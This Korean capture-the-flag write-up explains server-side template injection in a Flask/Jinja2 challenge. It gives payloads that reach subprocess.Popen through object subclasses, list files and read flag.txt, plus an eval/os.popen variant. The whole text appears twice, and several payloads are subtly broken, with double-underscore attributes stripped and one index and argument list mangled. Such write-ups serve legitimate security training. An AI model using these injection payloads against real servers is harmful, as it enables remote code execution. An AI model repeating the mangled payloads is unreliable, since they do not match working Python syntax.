- 문제
- 웹사이트 접속
사이트는 Python의 Flask와 Jinja2 템플릿엔진으로 구동되고 있다.
Jinja2 ← 템플릿 엔진의 취약점을 사용하여 exploit 할 수 있다.
취약점의 이름은 SSTI(Server Side Template Injection) 이다.
SSTI : SSTI(Server Side Template Injection) 취약점은 공격자가 서버측의 기본 템플릿 구문을 이용하여 악성 페이로드를 삽입 한 다음 서버 측에 실행되면서 생기는 취약점이며 웹 템플릿 엔진마다 사용되는 페이로드가 다릅니다.
웹 템플릿 : 웹 템플릿 엔진은 웹 템플릿과 웹 컨텐츠 정보를 처리하는 목적으로 설계된 소프트웨어
웹 템플릿은 예를 들어 index.html 파일 안에 {{ }} 를 이용하여
태그안에 {{ 55 }} 를 입력하고 Flask에서 렌더링을 하게 되면 index.html안에 작성되어져 있는 {{ 55 }}의 결과가 렌더링 후
25
와 같은 형식으로 인코딩(결과값)과 비슷한 맥락으로 변환되어져 나타나게 된다.
- index.html
<html> <center>{{ 5*5 }}</center> </html>
- Flask Code(python)
from flask import Flask, render_template app = Flask(__name__) @app.route('/') #@app.route('/URL') def index(): return render_template('index.html') #return render_template(return file name) app.run('0.0.0.0', 80) #app.run(host, port)
- Result
<html> <center>25</center> </html>
어떠한 웹 템플릿 엔진을 쓰는가에 따라서 exploit을 하기 위한 과정이 다르기 때문에 밑의 과정을 통해서 웹 템플릿 엔진을 추정(추측)하는 과정이 필요하다.
→ 위의 사진대로 요청을 했을 때 값이 제대로 전해지는 대로 따라가다 보면 웹 템플릿 엔진이 추정된다.
hackblackbox의 Templated는 Jinja2 웹 템플릿 엔진을 사용하고 있다고 명시가 되어져 있기때문에 위의 과정은 미뤄두고
일단 제대로 입력값(인자값)이 먹히는지 확인을 해본다
→ ${{ 5*5 }}
- 해당값으로 입력 시도 시 {{ }} 안의 5 * 5의 결과값이 서버단에서 계산되어서 표시되는 것을 확인하였음.
Flask는 기본적으로 python에 입력한 값들과 서버의 정보들이 config 클래스에 저장이 됨
config 클래스의 값을 불러와보자
→ {{ config }}
이 값들 중에서는 웬만해서는 값들을 지정해주지 않아서 false 또는 none으로 뜨는 것을 확인
이 중에서 그나마 중요하게 생각할 수 있는 값은 현재 경로는 ROOT 경로임 “ / “
RCE(Remote Code Execute) : RCE는 원격 코드 실행으로 어떠한 시스템에 접근하여 명령어를 실행할 수 있는 취약점이다.
목표 : 내가 입력한 {{ 5*5 }} 값이 서버 사이드에서 계산되어서 실행이 되는 걸 확인했으니 내가 명령어를 작성하여서 서버에서 명령어가 실행되어서 나한테 보이도록 하게 하는 것
파이썬에서 System 명령어를 실행시킬 수 있는 함수 : system(), eval(), popen(), file(), open()
os.system 함수의 경우 쉘 명령어의 결과를 출력해 줄 수 없기 때문에 subprocess.Popen Class를 찾은 다음 함수를 실행시켜 쉘 명령어 결과를 출력할 수 있습니다.
{{ ''.class.mro[1].subclasses()[Popen의 인덱스] }}
를 이용하여
파일 읽기 및 시스템 함수 호출을 위해서는 Sandbox를 탈출해야만 한다.
→ Sandbox 탈출을 위해서는 MRO를 이용하여 사용할 클래스를 찾아야 한다.
MRO : MRO(Method Resolution Order)는 Python이 클래스 계층 구조에서 메서드를 찾는 순서를 의미 → 현재 클래스와 연관된 모든 클래스를 출력할 수 있다.
{{ ''.class.mro }} 를 이용하여 ‘’ 문자열에 상속되어진 클래스를 확인하여 본다.
여기에서 object의 서브클래스들을 확인해 본다.
→ 파이썬에서 모든 함수는 object(객체)로 구성되어져있음
{{ ‘’.class.mro[1].subclasses() }} - 인덱스로 <class ‘object’> 를 선택하고 object의 subclass들을 렌더링하라.
Popen 서브클래스의 존재를 확인함 object의 서브 클래스에서 Popen의 존재 유무를 확인하였으니 이것도 인덱스를 이용하여 호출할 수 있을 것이다.
우리가 일일이 [하나, 둘, 셋] 세는 것이 귀찮고 시간이 오래 걸리기 때문에 두 가지 방법으로 빠르게 해당 서브클래스의 인덱스값을 찾아본다.
- 첫번째 방법
- 슬라이싱 활용
- {{ ‘’.class.mro[1].subclasses() }} 의 subclasses() 뒤에 슬라이싱을 이용하여 범위를 줄여나가서 찾아본다.
- [100:200] → 인덱스값 100부터 200까지를 선택
- 슬라이싱 기능을 이용하여 [414] 인덱스값에 Popen가 위치한것을 확인
-
- 파이썬으로 자동화
이제 Popen의 클래스의 인덱스값을 확인하였으니 웹셸은 시도하여 본다
{{ ''.class.mro[1].subclasses()414.communicate() }}
(’ls’, shell=True, stdout=-1).communicate()
→ 실행할 명령어
(’ls’, shell=True, stdout=-1).communicate()
→ 별도의 서브 쉘을 실행하고 해당 쉘 위에서 명령을 실행한다
(’ls’, shell=True, stdout=-1).communicate()
→ stdout는 표준출력을 담당하는 옵션, -1은 subprocess.PIPE 에 해당
(’ls’, shell=True, stdout=-1).communicate()
→ PIPE를 통해 명령어의 결과를 파이프를 통해 읽어오도록 하고 데이터를 다 불러올 때까지 (자식 프로세스가 끝날 때까지 기다린다.)
실행결과
flag.txt 가 있는 것을 확인
→ cat flag.txt로 내용확인
정리
- “” - 문자열의 클래스에 접근을 한다.
- “”.class →
- str 클래스에서 base 를 사용하면 object 클래스에 접근이 가능
- “”.class.base.subclasses() → object클래스의 서브클래스들이 출력됨
- 인덱스를 이용하여 Popen 클래스에 접근가능
- “”.class.base.subclasses()[414]
- Popen 함수를 이용하여 웹셸을 실행시킬수있음
- (’ls’, shell=True, stdout=-1).communicate()
- 다른 프로세스(별도의 셸)로 셸을 실행하고 셸을 실행한 결과값이 표준출력은 PIPE를 통해 해당 프로세스로 전달되고 문자열로 반환되고 서브 셸이 끝날 때 까지 기다렸다가 출력을 읽어와 사이트에 출력됨
취약점이 발생하는 원인
- SSTI 취약점은 적절한 필터링을 거치지 않아서 발생한다.
취약점 대응
- 입력값을 검증하고 필터링한다.
문제에서 중요한 점
- {{ }} 안에 입력된 값이 문자열로 출력이 안되고 실행 값으로 실행되는 과정에서 SSTI 취약점이 드러남
eval() 함수는 입력받은 문자열을 실행시켜 주는 함수
- 파이썬이나 자바스크립트에서 위험한 취약점
- 왠만하면 사용하지 말고 필터링해야 하는 1순위
{{ url_for.globals.builtins.eval('import("os").popen("cat flag.txt").read()') }}
함수의 전역 영역을 참조하고 파이썬의 내장 함수를 담고 있는 모듈을 참조하고 eval 함수로 os모듈을 import 하고 os.popen 함수를 이용하여 명령어를 실행하고 read 함수로 명령어의 수행결과를 문자열로 반환함
공부 :
https://www.igloo.co.kr/security-information/웹-템플릿-엔진-기반의-ssti-취약점-분석/
https://me2nuk.com/SSTI-Vulnerability/
- 문제
- 웹사이트 접속
사이트는 Python의 Flask와 Jinja2 템플릿엔진으로 구동되고 있다.
Jinja2 ← 템플릿 엔진의 취약점을 사용하여 exploit 할 수 있다.
취약점의 이름은 SSTI(Server Side Template Injection) 이다.
SSTI : SSTI(Server Side Template Injection) 취약점은 공격자가 서버측의 기본 템플릿 구문을 이용하여 악성 페이로드를 삽입 한 다음 서버 측에 실행되면서 생기는 취약점이며 웹 템플릿 엔진마다 사용되는 페이로드가 다릅니다.
웹 템플릿 : 웹 템플릿 엔진은 웹 템플릿과 웹 컨텐츠 정보를 처리하는 목적으로 설계된 소프트웨어
웹 템플릿은 예를 들어 index.html 파일 안에 {{ }} 를 이용하여
태그안에 {{ 55 }} 를 입력하고 Flask에서 렌더링을 하게 되면 index.html안에 작성되어져 있는 {{ 55 }}의 결과가 렌더링 후
25
와 같은 형식으로 인코딩(결과값)과 비슷한 맥락으로 변환되어져 나타나게 된다.
- index.html
<html> <center>{{ 5*5 }}</center> </html>
- Flask Code(python)
from flask import Flask, render_template app = Flask(__name__) @app.route('/') #@app.route('/URL') def index(): return render_template('index.html') #return render_template(return file name) app.run('0.0.0.0', 80) #app.run(host, port)
- Result
<html> <center>25</center> </html>
어떠한 웹 템플릿 엔진을 쓰는가에 따라서 exploit을 하기 위한 과정이 다르기 때문에 밑의 과정을 통해서 웹 템플릿 엔진을 추정(추측)하는 과정이 필요하다.
→ 위의 사진대로 요청을 했을 때 값이 제대로 전해지는 대로 따라가다 보면 웹 템플릿 엔진이 추정된다.
hackblackbox의 Templated는 Jinja2 웹 템플릿 엔진을 사용하고 있다고 명시가 되어져 있기때문에 위의 과정은 미뤄두고
일단 제대로 입력값(인자값)이 먹히는지 확인을 해본다
→ ${{ 5*5 }}
- 해당값으로 입력 시도 시 {{ }} 안의 5 * 5의 결과값이 서버단에서 계산되어서 표시되는 것을 확인하였음.
Flask는 기본적으로 python에 입력한 값들과 서버의 정보들이 config 클래스에 저장이 됨
config 클래스의 값을 불러와보자
→ {{ config }}
이 값들 중에서는 웬만해서는 값들을 지정해주지 않아서 false 또는 none으로 뜨는 것을 확인
이 중에서 그나마 중요하게 생각할 수 있는 값은 현재 경로는 ROOT 경로임 “ / “
RCE(Remote Code Execute) : RCE는 원격 코드 실행으로 어떠한 시스템에 접근하여 명령어를 실행할 수 있는 취약점이다.
목표 : 내가 입력한 {{ 5*5 }} 값이 서버 사이드에서 계산되어서 실행이 되는 걸 확인했으니 내가 명령어를 작성하여서 서버에서 명령어가 실행되어서 나한테 보이도록 하게 하는 것
파이썬에서 System 명령어를 실행시킬 수 있는 함수 : system(), eval(), popen(), file(), open()
os.system 함수의 경우 쉘 명령어의 결과를 출력해 줄 수 없기 때문에 subprocess.Popen Class를 찾은 다음 함수를 실행시켜 쉘 명령어 결과를 출력할 수 있습니다.
{{ ''.class.mro[1].subclasses()[Popen의 인덱스] }}
를 이용하여
파일 읽기 및 시스템 함수 호출을 위해서는 Sandbox를 탈출해야만 한다.
→ Sandbox 탈출을 위해서는 MRO를 이용하여 사용할 클래스를 찾아야 한다.
MRO : MRO(Method Resolution Order)는 Python이 클래스 계층 구조에서 메서드를 찾는 순서를 의미 → 현재 클래스와 연관된 모든 클래스를 출력할 수 있다.
{{ ''.class.mro }} 를 이용하여 ‘’ 문자열에 상속되어진 클래스를 확인하여 본다.
여기에서 object의 서브클래스들을 확인해 본다.
→ 파이썬에서 모든 함수는 object(객체)로 구성되어져있음
{{ ‘’.class.mro[1].subclasses() }} - 인덱스로 <class ‘object’> 를 선택하고 object의 subclass들을 렌더링하라.
Popen 서브클래스의 존재를 확인함 object의 서브 클래스에서 Popen의 존재 유무를 확인하였으니 이것도 인덱스를 이용하여 호출할 수 있을 것이다.
우리가 일일이 [하나, 둘, 셋] 세는 것이 귀찮고 시간이 오래 걸리기 때문에 두 가지 방법으로 빠르게 해당 서브클래스의 인덱스값을 찾아본다.
- 첫번째 방법
- 슬라이싱 활용
- {{ ‘’.class.mro[1].subclasses() }} 의 subclasses() 뒤에 슬라이싱을 이용하여 범위를 줄여나가서 찾아본다.
- [100:200] → 인덱스값 100부터 200까지를 선택
- 슬라이싱 기능을 이용하여 [414] 인덱스값에 Popen가 위치한것을 확인
-
- 파이썬으로 자동화
이제 Popen의 클래스의 인덱스값을 확인하였으니 웹셸은 시도하여 본다
{{ ''.class.mro[1].subclasses()414.communicate() }}
(’ls’, shell=True, stdout=-1).communicate()
→ 실행할 명령어
(’ls’, shell=True, stdout=-1).communicate()
→ 별도의 서브 쉘을 실행하고 해당 쉘 위에서 명령을 실행한다
(’ls’, shell=True, stdout=-1).communicate()
→ stdout는 표준출력을 담당하는 옵션, -1은 subprocess.PIPE 에 해당
(’ls’, shell=True, stdout=-1).communicate()
→ PIPE를 통해 명령어의 결과를 파이프를 통해 읽어오도록 하고 데이터를 다 불러올 때까지 (자식 프로세스가 끝날 때까지 기다린다.)
실행결과
flag.txt 가 있는 것을 확인
→ cat flag.txt로 내용확인
정리
- “” - 문자열의 클래스에 접근을 한다.
- “”.class →
- str 클래스에서 base 를 사용하면 object 클래스에 접근이 가능
- “”.class.base.subclasses() → object클래스의 서브클래스들이 출력됨
- 인덱스를 이용하여 Popen 클래스에 접근가능
- “”.class.base.subclasses()[414]
- Popen 함수를 이용하여 웹셸을 실행시킬수있음
- (’ls’, shell=True, stdout=-1).communicate()
- 다른 프로세스(별도의 셸)로 셸을 실행하고 셸을 실행한 결과값이 표준출력은 PIPE를 통해 해당 프로세스로 전달되고 문자열로 반환되고 서브 셸이 끝날 때 까지 기다렸다가 출력을 읽어와 사이트에 출력됨
취약점이 발생하는 원인
- SSTI 취약점은 적절한 필터링을 거치지 않아서 발생한다.
취약점 대응
- 입력값을 검증하고 필터링한다.
문제에서 중요한 점
- {{ }} 안에 입력된 값이 문자열로 출력이 안되고 실행 값으로 실행되는 과정에서 SSTI 취약점이 드러남
eval() 함수는 입력받은 문자열을 실행시켜 주는 함수
- 파이썬이나 자바스크립트에서 위험한 취약점
- 왠만하면 사용하지 말고 필터링해야 하는 1순위
{{ url_for.globals.builtins.eval('import("os").popen("cat flag.txt").read()') }}
함수의 전역 영역을 참조하고 파이썬의 내장 함수를 담고 있는 모듈을 참조하고 eval 함수로 os모듈을 import 하고 os.popen 함수를 이용하여 명령어를 실행하고 read 함수로 명령어의 수행결과를 문자열로 반환함
공부 :
https://www.igloo.co.kr/security-information/웹-템플릿-엔진-기반의-ssti-취약점-분석/
https://me2nuk.com/SSTI-Vulnerability/